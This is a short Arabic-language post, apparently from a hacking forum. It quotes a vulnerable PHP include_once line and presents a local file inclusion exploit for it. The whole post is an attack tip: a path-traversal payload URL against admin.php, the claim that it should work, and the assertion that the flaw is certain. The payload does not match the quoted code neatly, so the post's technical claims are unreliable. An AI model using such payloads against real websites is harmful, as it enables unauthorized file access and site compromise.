include_once ($path_adm . '/' . $go_to . '.php');
هاي ثغره انكلود الاستغلال يكون هيك

xxxxxxxx.com/admin.php?path_adm=../../index.php

المفروض يشتغل لو ما اشتغل بجوز السبب عشان الملف admin.php

بس الخطا واقع ميه بالميه